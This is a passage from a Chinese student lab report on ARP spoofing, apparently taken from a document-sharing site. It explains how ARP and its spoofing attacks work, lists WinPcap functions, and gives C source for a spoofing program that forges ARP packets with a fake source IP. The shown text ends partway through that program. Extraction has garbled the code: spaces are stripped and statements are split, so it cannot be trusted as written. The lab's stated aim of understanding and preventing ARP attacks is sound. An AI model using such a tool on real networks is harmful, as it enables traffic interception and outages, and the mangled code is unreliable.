网络对抗实验Word文档下载推荐.docx
- 文档编号:17681918
- 上传时间:2022-12-08
- 格式:DOCX
- 页数:29
- 大小:490.82KB
网络对抗实验Word文档下载推荐.docx
《网络对抗实验Word文档下载推荐.docx》由会员分享,可在线阅读,更多相关《网络对抗实验Word文档下载推荐.docx(29页珍藏版)》请在冰豆网上搜索。
网上所有主机包括B都收到ARP请求,但只有主机B识别自己的IP地址,于是向A主机发回一个ARP响应报文。
其中就包含有B的MAC地址,A接收到B的应答后,就会更新本地的ARP缓存。
接着使用这个MAC地址发送数据(由网卡附加MAC地址)。
因此,本地高速缓存的这个ARP表是本地网络流通的基础,而且这个缓存是动态的。
ARP协议并不只在发送了ARP请求才接收ARP应答。
当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。
因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。
由于局域网的网络流通不是根据IP地址进行,而是按照MAC地址进行传输。
所以,那个伪造出来的MAC地址在A上被改变成一个不存在的MAC地址,这样就会造成网络不通,导致A不能Ping通C!
这就是一个简单的ARP欺骗。
ARP协议的工作原理
在每台装有TCP/IP协议的电脑里都有一个ARP缓存表,表里的IP地址与MAC地址是一一对应的。
ARP缓存表
以主机A(192.168.1.5)向主机B(192.168.1.1)发送数据为例。
当发送数据时,主机A会在自己的ARP缓存表中寻找是否有目标IP地址。
如果找到了,也就知道了目标的MAC地址,直接把目标的MAC地址写入帧里面发送就可以了;
如果在ARP缓存表里面没有目标的IP地址,主机A就会在网络上发送一个广播,目标MAC地址是“ff-ff-ff-ff-ff-ff”,这表示向同一网段的所有主机发出这样的询问:
“192.168.1.1的MAC地址是什么呀?
”网络上的其他主机并不回应这一询问,只有主机B接受到这个帧时才向A作出回应:
“192.168.1.1的MAC地址是00-aa-0-62-c6-09。
(如上表)”这样,主机A就知道了主机B的MAC地址,就可以向主机B发送信息了。
同时,它还更新了自己的ARP缓存表,下次再向B发送数据时,直接在ARP缓存表找就可以了。
ARP缓存表采用老化的机制,在一段时间里表中的某一行没有使用,就会被删除,这样可以大大减少ARP缓存表的长度,加快查询的速度。
如何查看ARP缓存表
ARP缓存表示可以查看的,也可以添加和修改。
在命令提示符下,输入“ARP-a”就可以查看ARP缓存表的内容了。
用“ARP-d”可以删除ARP缓存表里的所有内容。
用“ARP-s“可以手动在ARP表中制定IP地址与MAC地址的对应关系。
ARP欺骗的种类
ARP欺骗是黑客常用的攻击手段之一,ARP欺骗分为二种,一种是对路由器ARP表的欺骗;
另一种是对内网PC的网关欺骗。
第一种ARP欺骗的原理是——截获网关数据。
它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。
第二种ARP欺骗的原理是——伪造网关。
它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。
在PC看来,就是上不了网了,“网络掉线了”。
一般来说,ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。
有些网管员对此不甚了解,出现故障时,认为PC没有问题,交换机没掉线的“本事”,电信也不承认宽带故障。
而且如果第一种ARP欺骗发生时,只要重启路由器,网络就能全面恢复,那问题一定是在路由器了。
为此,宽带路由器背了不少“黑锅”。
本实验通过自己编程来实现ARP攻击,对网络编程进行一些了解,加深对ARP协议的理解,从而在生活中更好地防范ARP攻击。
第一章实验内容
1.1了解WINPCAP
WinPcap是一个基于Win32平台的,用于捕获网络数据包并进行分析的开源库.
大多数网络应用程序通过被广泛使用的操作系统元件来访问网络,比如sockets。
这是一种简单的实现方式,因为操作系统已经妥善处理了底层具体实现细节(比如协议处理,封装数据包等等),并且提供了一个与读写文件类似的,令人熟悉的接口。
然而,有些时候,这种“简单的方式”并不能满足任务的需求,因为有些应用程序需要直接访问网络中的数据包。
也就是说,那些应用程序需要访问原始数据包,即没有被操作系统利用网络协议处理过的数据包。
WinPcap提供了以下功能:
(1)捕获原始数据包,无论它是发往某台机器的,还是在其他设备(共享媒介)上进行交换的;
(2)在数据包发送给某应用程序前,根据用户指定的规则过滤数据包;
(3)将原始数据包通过网络发送出去;
(4)收集并统计网络流量信息;
(5)利用C语言结合网络编程可以方便的开发出ARP攻击工具。
1.2WINPCAP主要函数
①intpcap_findalldevs(pcap_if_t**,char*)
说明:
用来获得网卡的列表
入口参数:
指向pcap_if_t**类型的列表的指针的指针
pcap_if_t是pcap_if重命名而来:
typedefstructpcap_ifpcap_if_t;
出口参数:
为int型,当显示列表失败时返回-1
举例:
pcap_if_t*alldevs;
pcap_if_t*d;
charerrbuf[64];
/*这个API用来获得网卡的列表*/
if(pcap_findalldevs(&
alldevs,errbuf)==-1)
{
fprintf(stderr,"
Errorinpcap_findalldevs:
%s\n"
errbuf);
exit
(1);
}
/*显示列表的响应字段的内容*/
for(d=alldevs;
d;
d=d->
next)
printf("
%d.%s"
++i,d->
name);
if(d->
descrIPtion)
printf("
(%s)\n"
d->
descrIPtion);
else
(NodescrIPtionavailable)\n"
);
②voidpcap_freealldevs(pcap_if_t*)
与intpcap_findalldevs(pcap_if_t**,char*)配套使用,当不再需要网卡列表时,用此函数free释放空间。
打开网卡列表时申请的pcap_if_t型的指针
出口参数:
无
/*Wedon'
tneedanymorethedevicelist.Freeit*/
pcap_freealldevs(alldevs);
③pcap_t
*pcap_open_live(constchar*device,intsnaplen,intpromisc,intto_ms,charebuf*)
说明:
被用来得到一个包抓取得描述符
device是一个指出要抓取的网络设备的字符串,snaplen指明最大可抓取的字节长度,promisc置位表明该接口要被设置成混杂模式,to_ms以毫秒为单位设置超时时间。
当在超时时间内网卡上没有数据到来时对网卡的读操作将返回(pcap_dispatch()orpcap_next_ex()等函数),ebuf被用来存放当pcap_open_live()调用失败时,返回的错误字符串。
pcap_t型的指针,供pcap_dispatch()orpcap_next_ex()等函数调用;
pcap_t的结构体.
④intpcap_sendpacket(pcap_t*p,u_char*buf,intsize)
手工发送一个数据包了。
这个函数需要的参数:
一个装有要发送数据的缓冲区,要发送的长度,和一个适配器。
注意缓冲区中的数据将不被内核协议处理,只是作为最原始的数据流被发送,所以我门必须填充好正确的协议头以便正确的将数据发送。
p是打开网卡时返回的网卡指针,buf是发送数据包的内容缓冲区首地址,size是发送数据包的大小;
无。
#include<
stdio.h>
pcap.h>
voidusage();
voidmain(intargc,char**argv){
pcap_t*fp;
charerror[PCAP_ERRBUF_SIZE];
u_charpacket[100];
inti;
/*Checkthevalidityofthecomandline*/
if(argc!
=2)
usage:
%sinerface"
argv[0]);
return;
/*打开指定网卡*/
if((fp=pcap_open_live(argv[1],100,1,1000,error))==NULL)
\nErroropeningadapter:
error);
/*假设网络环境为ethernet,我门把目的MAC设为1:
1:
1*/
packet[0]=1;
packet[1]=1;
packet[2]=1;
packet[3]=1;
packet[4]=1;
packet[5]=1;
/*假设源MAC为2:
2:
2*/
packet[6]=2;
packet[7]=2;
packet[8]=2;
packet[9]=2;
packet[10]=2;
packet[11]=2;
/*填充发送包的剩余部分*/
for(i=12;
i<
100;
i++){
packet[i]=i%256;
/*发送包*/
pcap_sendpacket(fp,packet,100);
1.3ARP数据包格式
①数据包格式
ARPFrame
字段
长度(Byte)
默认值
备注
硬件类型
2
0x1
以太网类型值
上层协议类型
0x0800
上层协议为IP协议
MAC地址长度
1
0x6
以太网MAC地址长度为6
IP地址长度
0x4
IP地址长度为4
操作码
0x1表示ARP请求包,0x2表示应答包
发送方MAC
6
发送方IP
4
接收方MAC
接收方IP
填充数据
18
因为物理帧最小长度为64字节,前面的42字节再加上4个CRC校验字节,还差18个字节
图1ARP帧格式
②用C语言定义数据包
#pragmapack
(1)
structethernet_head
{
unsignedchardest_MAC[6];
//目标主机MAC地址
unsignedcharsource_MAC[6];
//源端MAC地址
unsignedshorteh_type;
//以太网类型
};
structARP_head
unsignedshorthardware_type;
//硬件类型:
以太网接口类型为1
unsignedshortprotocol_type;
//协议类型:
IP协议类型为0X0800
unsignedcharadd_len;
//硬件地址长度:
MAC地址长度为6B
unsignedcharpro_len;
//协议地址长度:
IP地址长度为4B
unsignedshortoption;
//操作:
ARP请求为1,ARP应答为2
unsignedcharsour_addr[6];
//源MAC地址:
发送方的MAC地址
unsignedlongsour_IP;
//源IP地址:
发送方的IP地址
unsignedchardest_addr[6];
//目的MAC地址:
ARP请求中该字段没有意义;
ARP响应中为接收方的MAC地址
unsignedlongdest_IP;
//目的IP地址:
ARP请求中为请求解析的IP地址;
ARP响应中为接收方的IP地址
unsignedcharpadding[18];
structARP_packet//最终ARP包结构
ethernet_headeth;
//以太网头部
ARP_headARP;
//ARP数据包头部
#pragmapack()
第二章实验方法
2.1程序流程图如下:
2.2编辑ARP攻击程序
①完整主程序:
//ARPcheat.cpp:
Definestheentrypointfortheconsoleapplication.
//
#include<
conio.h>
packet32.h>
#include"
ARPCheat.h"
ntddndis.h>
unsignedchar*BuildARPPacket(unsignedchar*source_MAC,unsignedlongsrcIP,unsignedlongdestIP)
staticstructARP_packetpacket;
//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_MAC,0xFF,6);
//源MAC地址
//memset(packet.eth.source_MAC,0xdd,6);
memcpy(packet.eth.source_MAC,source_MAC,6);
//上层协议为ARP协议,0x0806
packet.eth.eh_type=htons(0x0806);
//硬件类型,Ethernet是0x0001
packet.ARP.hardware_type=htons(0x0001);
//上层协议类型,IP为0x0800
packet.ARP.protocol_type=htons(0x0800);
MAC地址长度为0x06
packet.ARP.add_len=0x06;
IP地址长度为0x04
packet.ARP.pro_len=0x04;
ARP请求为1
packet.ARP.option=htons(0x0001);
//memset(packet.ARP.sour_addr,0xdd,6);
memcpy(packet.ARP.sour_addr,source_MAC,6);
//源IP地址
packet.ARP.sour_IP=srcIP;
//目的MAC地址,填充0
memset(packet.ARP.dest_addr,0,6);
//目的IP地址
packet.ARP.dest_IP=destIP;
//填充数据,18B
memset(packet.ARP.padding,0,18);
return(unsignedchar*)&
packet;
}
/**
*获得网卡的MAC地址
*pDevName网卡的设备名称
*/
unsignedchar*GetSelfMAC(char*pDevName)
staticu_charMAC[6];
memset(MAC,0,sizeof(MAC));
LPADAPTERlpAdapter=PacketOpenAdapter(pDevName);
if(!
lpAdapter||(lpAdapter->
hFile==INVALID_HANDLE_VALUE))
{
returnNULL;
}
PPACKET_OID_DATAOidData=(PPACKET_OID_DATA)malloc(6+sizeof(PACKET_OID_DATA));
if(OidData==NULL)
PacketCloseAdapter(lpAdapter);
//
//RetrievetheadapterMACqueryingtheNICdriver
OidData->
Oid=OID_802_3_CURRENT_ADDRESS;
Length=6;
memset(OidData->
Data,0,6);
BOOLEANStatus=PacketRequest(lpAdapter,FALSE,OidData);
if(Status)
memcpy(MAC,(u_char*)(OidData->
Data),6);
free(OidData);
PacketCloseAdapter(lpAdapter);
returnMAC;
intmain()
pcap_if_t*alldevs;
//全部网卡列表
pcap_if_t*d;
//一个网卡
intinum;
//用户选择的网卡序号
inti=0;
//循环变量
pcap_t*adhandle;
//一个pcap实例
charerrbuf[PCAP_ERRBUF_SIZE];
//错误缓冲区
unsignedchar*MAC;
//本机MAC地址
unsignedchar*packet;
//ARP包
unsignedlongfakeIP,destIP;
//要伪装成的IP地址
pcap_addr_t*pAddr;
//网卡地址
unsignedlongIP;
//IP地址
unsignedlongnetmask;
//子网掩码
charsel='
b'
unch;
intcou;
charstrdest[10][50],strfake[30];
boolflag=true;
//从参数列表获得要伪装的IP地址
/*if(INADDR_NONE==fakeIP)
fprintf(stderr,"
InvalidIP:
strfake);
return-1;
}*/
/*获得本机网卡列表*/
if(pcap_findalldevs_ex(PCAP_SRC_IF_STRING,NULL,&
alldevs,errbuf)==-1)
exit
(1);
}
\t\t\t\t尊敬的用户\n\n以下为您计算机上发现的网卡列表\n\n"
/*打印网卡列表*/
for(d=alldevs;
d;
d=d->
next)
printf("
%d"
++i);
if(d->
descrIPtion)
printf("
.%s\n"
else
.NodescrIPtionavailable\n"
//如果没有发现网卡
if(i==0)
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 网络 对抗 实验